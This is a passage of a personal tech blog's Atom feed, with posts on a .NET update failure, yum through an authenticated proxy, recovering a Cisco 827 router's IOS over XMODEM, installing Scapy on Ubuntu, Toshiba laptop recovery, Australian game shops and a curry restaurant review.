/&gt;&lt;ol&gt;&lt;li&gt;http://www.microsoft.com/downloads/details.aspx?FamilyID=1e53f250-2d4b-4f61-86ee-9f9f3a9c0b48&amp;amp;displaylang=en&lt;/li&gt;&lt;li&gt;http://support.microsoft.com/kb/923100/&lt;/li&gt;&lt;li&gt;http://cid-27e6a35d1a492af7.skydrive.live.com/self.aspx/Blog_Tools/dotnetfx_cleanup_tool.zip&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-6066261932614839347?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/6066261932614839347/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/08/failed-to-install-security-update-for.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/6066261932614839347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/6066261932614839347'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/08/failed-to-install-security-update-for.html' title='Failed to install &quot;Security Update for .NET Framework 2.0 SP2 and 3.5 SP1 on Windows Server 2003 and Windows XP x86 (KB983583)&quot;'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-5822645649094368975</id><published>2010-08-08T14:43:00.001+10:00</published><updated>2010-11-19T23:47:38.150+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='games'/><category scheme='http://www.blogger.com/atom/ns#' term='game sites'/><category scheme='http://www.blogger.com/atom/ns#' term='board games'/><title type='text'>Australian Game Shops Online</title><content type='html'>Thought I'd share a list of game shop websites that I found using Google. It also saves me searching for it again.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.alternateworlds.com.au/&lt;br /&gt;http://www.gamesparadise.com.au/&lt;br /&gt;http://www.goodgames.com.au/&lt;br /&gt;http://www.milsims.com.au/catalog/&lt;br /&gt;http://www.mindgamesmelbourne.com/&lt;br /&gt;http://www.minotaur.com.au/&lt;br /&gt;http://www.tactics.net.au/&lt;br /&gt;http://www.tinsoldier.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-5822645649094368975?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/5822645649094368975/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/08/australian-game-shops-online.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/5822645649094368975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/5822645649094368975'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/08/australian-game-shops-online.html' title='Australian Game Shops Online'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-5173354863751112006</id><published>2010-07-27T19:18:00.000+10:00</published><updated>2010-07-27T19:18:20.036+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redhat'/><category scheme='http://www.blogger.com/atom/ns#' term='centos'/><category scheme='http://www.blogger.com/atom/ns#' term='authenticate'/><category scheme='http://www.blogger.com/atom/ns#' term='yum'/><category scheme='http://www.blogger.com/atom/ns#' term='proxy'/><title type='text'>Yum via a proxy</title><content type='html'>In case you need to force yum on a Redhat or CentOS system via proxy and authenticate, the quickest way I found was to set the following environment variable, i.e. export from .bash_profile or the likes;&lt;br /&gt;&lt;b&gt;export http_proxy=http://username:password@proxy_server:proxy_port&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-5173354863751112006?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/5173354863751112006/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/07/yum-via-proxy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/5173354863751112006'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/5173354863751112006'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/07/yum-via-proxy.html' title='Yum via a proxy'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-8017416775900398221</id><published>2010-06-16T17:13:00.003+10:00</published><updated>2010-06-18T15:35:45.342+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cisco rommon flash ios'/><title type='text'>Cisco 827 Router - Unable to initialize flash device at FFE80000 -- device not found.</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;It seems that, if the ROMMON software is upgraded, then the older IOS causes the detection of the Flash memory to fail resulting in the error "Unable to initialize flash device at FFE80000 -- device not found." upon bootup.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;After Googling, several site's (e.g.&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.velocityreviews.com/forums/t30077-cisco-827-flash-memory-and-ios.html"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;http://www.velocityreviews.com/forums/t30077-cisco-827-flash-memory-and-ios.html&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;) list the upgrade of the IOS as the solution.&amp;nbsp;In hind-sight, to avoid this it may be a good idea to first upgrade the IOS to the latest version before attempting to upgrade the ROMMON.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;System Bootstrap, Version &lt;/span&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;xx.x(xx)xxx&lt;/span&gt;&lt;/s&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;, RELEASE SOFTWARE (fc1)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;Copyright (c) 2000 by cisco Systems, Inc.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;C827 platform with 32768 Kbytes of main memory&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;snip&gt;&lt;/snip&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;Unable to initialize flash device at FFE80000 -- device not found.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;CISCO C827 (MPC855T) processor (revision 0x801) with 31744K/1024K bytes of memory.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;Processor board ID JAD06430E2L (2370919839), with hardware revision FD3C&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;CPU rev number 5&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;Bridging software.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;1 Ethernet/IEEE 802.3 interface(s)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;1 ATM network interface(s)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;128K bytes of non-volatile configuration memory.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;snip&gt;&lt;/snip&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;Router&amp;gt;sh ver&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;Cisco Internetwork Operating System Software&lt;br /&gt;IOS (tm) C827-4V Software (C827V-&lt;/span&gt; &lt;s&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;xx-x&lt;/span&gt;&lt;/s&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;), Version &lt;/span&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;xx.x(x)xx&lt;/span&gt;&lt;/s&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;, EARLY DEPLOYMENT RELEASE SOFTWARE (fc1)&lt;br /&gt;Copyright (c) 1986-2000 by cisco Systems, Inc.&lt;br /&gt;Compiled Mon 10-Apr-00 13:45 by phanguye&lt;br /&gt;Image text-base: 0x80013170, data-base: 0x8067D780&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ROM: System Bootstrap, Version &lt;/span&gt;      &lt;s&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;xx.x(xx)xxx&lt;/span&gt;&lt;/s&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;, RELEASE SOFTWARE (fc1)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;   &lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;snip&gt;&lt;/snip&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;Router#show file systems&lt;br /&gt;File Systems:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; Size(b) &amp;nbsp; &amp;nbsp; Free(b) &amp;nbsp; &amp;nbsp; &amp;nbsp;Type &amp;nbsp;Flags &amp;nbsp;Prefixes&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;131072 &amp;nbsp; &amp;nbsp; &amp;nbsp;130366 &amp;nbsp; &amp;nbsp; nvram &amp;nbsp; &amp;nbsp; rw &amp;nbsp; nvram:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; &amp;nbsp;opaque &amp;nbsp; &amp;nbsp; rw &amp;nbsp; null:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; &amp;nbsp;opaque &amp;nbsp; &amp;nbsp; rw &amp;nbsp; system:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; unknown &amp;nbsp; &amp;nbsp; wo &amp;nbsp; rommon:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; network &amp;nbsp; &amp;nbsp; rw &amp;nbsp; tftp:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; &amp;nbsp;opaque &amp;nbsp; &amp;nbsp; ro &amp;nbsp; xmodem:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; &amp;nbsp;opaque &amp;nbsp; &amp;nbsp; ro &amp;nbsp; ymodem:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; network &amp;nbsp; &amp;nbsp; rw &amp;nbsp; rcp:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp; network &amp;nbsp; &amp;nbsp; rw &amp;nbsp; ftp:&lt;/span&gt;              &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_WK7TtRkL_xE/TBhsfvDkFSI/AAAAAAAAACs/S-_3DAPPaq4/s1600/xmodem-init.png" imageanchor="1" style="display: inline !important; margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="84" src="http://1.bp.blogspot.com/_WK7TtRkL_xE/TBhsfvDkFSI/AAAAAAAAACs/S-_3DAPPaq4/s320/xmodem-init.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;To resolve the issue a newer version of the IOS needs to be installed on the router. This becomes as issue as the "flash:" is not detected. The IOS needs to be installed over the serial interface using the XMODEM commands. Boot to the ROMMON prompt, i.e. reload the router and hit the break sequence.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_WK7TtRkL_xE/TBhnqBc9wqI/AAAAAAAAACk/99LjXIYJSTc/s1600/xmodem.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="219" src="http://4.bp.blogspot.com/_WK7TtRkL_xE/TBhnqBc9wqI/AAAAAAAAACk/99LjXIYJSTc/s320/xmodem.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Depending on the size of the image, this may take a while. Also depening on the router, the ROMMON version, you may be able to configure the xmodem speeds, etc. I used Windows Hyperterminal (hypertrm) for this. Once it's done, set the confreg back (0x2102), if you changed it, and reset the router. Should all be good now.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;u&gt;References:&lt;/u&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://www.cisco.com/en/US/products/hw/routers/ps259/products_tech_note09186a008015bfac.shtml"&gt;http://www.cisco.com/en/US/products/hw/routers/ps259/products_tech_note09186a008015bfac.shtml&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.cisco.com/en/US/docs/routers/access/800/806/software/configuration/notes/820rommon.html"&gt;http://www.cisco.com/en/US/docs/routers/access/800/806/software/configuration/notes/820rommon.html&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-8017416775900398221?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/8017416775900398221/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/06/cisco-827-router-unable-to-initialize.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/8017416775900398221'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/8017416775900398221'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/06/cisco-827-router-unable-to-initialize.html' title='Cisco 827 Router - Unable to initialize flash device at FFE80000 -- device not found.'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_WK7TtRkL_xE/TBhsfvDkFSI/AAAAAAAAACs/S-_3DAPPaq4/s72-c/xmodem-init.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-9087507677335241970</id><published>2010-05-15T13:36:00.001+10:00</published><updated>2010-11-19T23:56:02.573+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='scapy'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='apt-get'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Scapy on Ubuntu</title><content type='html'>I won't introduce Scapy as there are lots of overview, introductions, tutorials and guides available on Scapy, so just Google for it. I though I'd blog about my install on Ubuntu just in case I need to come back to it at some stage and cannot recall exactly what and how I installed;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;sudo apt-get update &lt;/li&gt;&lt;li&gt;sudo apt-get install tcpdump&amp;nbsp;&lt;/li&gt;&lt;li&gt;sudo apt-get install python &lt;/li&gt;&lt;li&gt;sudo apt-get install python-scapy &lt;/li&gt;&lt;li&gt;sudo apt-get install graphviz&amp;nbsp;&lt;/li&gt;&lt;li&gt;sudo apt-get install imagemagick&amp;nbsp;&lt;/li&gt;&lt;li&gt;sudo apt-get install python-gnuplot&amp;nbsp;&lt;/li&gt;&lt;li&gt;sudo apt-get install python-crypto&lt;/li&gt;&lt;li&gt;sudo apt-get install python-pyx&lt;/li&gt;&lt;/ol&gt;I may be putting up some scapy script on my webpage in the near future in case anyone is interested. I used scapy for Digital Forensics&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-9087507677335241970?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/9087507677335241970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/05/scapy-on-ubuntu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/9087507677335241970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/9087507677335241970'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/05/scapy-on-ubuntu.html' title='Scapy on Ubuntu'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-2211443616200447201</id><published>2010-04-13T00:08:00.001+10:00</published><updated>2010-11-19T23:55:01.189+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='laptop'/><category scheme='http://www.blogger.com/atom/ns#' term='recovery'/><category scheme='http://www.blogger.com/atom/ns#' term='toshiba'/><title type='text'>Toshiba Recovery Wizard</title><content type='html'>In case you ever need to perform a recovery on a Toshiba, (obviously after the necessary backups, ensure running on mains power, etc)&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Turn off laptop.&lt;/li&gt;&lt;li&gt;Press and hold "0" (zero) key.&lt;/li&gt;&lt;li&gt;Power on laptop.&lt;/li&gt;&lt;li&gt;Once the Toshiba splash screen appears, release the "0" (zero) key.&lt;/li&gt;&lt;li&gt;Follow the Toshiba Recovery Wizard prompts.&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-2211443616200447201?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/2211443616200447201/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/04/toshiba-recovery-wizard.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/2211443616200447201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/2211443616200447201'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/04/toshiba-recovery-wizard.html' title='Toshiba Recovery Wizard'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-1063716672413816535</id><published>2010-03-19T20:39:00.002+10:00</published><updated>2010-11-19T23:54:38.200+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='urbanspoon'/><category scheme='http://www.blogger.com/atom/ns#' term='curry'/><title type='text'>Urbanspoon - Curryville</title><content type='html'>Took a chance on Urbanspoon and headed to Cilliville for some curry as it was Friday "arvo" and Deb and I were both tired.  Read some initial reviews and were a bit cautious.&lt;br /&gt;&lt;br /&gt;The Vege Samosas were very authentic. Home made pastery and the fillings were just like right. I got the special "Indian Hot" Vege curry and they weren't kidding around. I had that with rice and then stole some garlic naan from Deb.&lt;br /&gt;&lt;br /&gt;They did not over do the decorations either. It has just the right amount of clutter in the right places. Background music was not deafening, but the traffic noise was pissing me off a bit. Overall it was a good feed.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- Posted using BlogPress from my iPhone 3GS&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-1063716672413816535?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/1063716672413816535/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/03/urbanspoon-curryville.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/1063716672413816535'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/1063716672413816535'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/03/urbanspoon-curryville.html' title='Urbanspoon - Curryville'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' 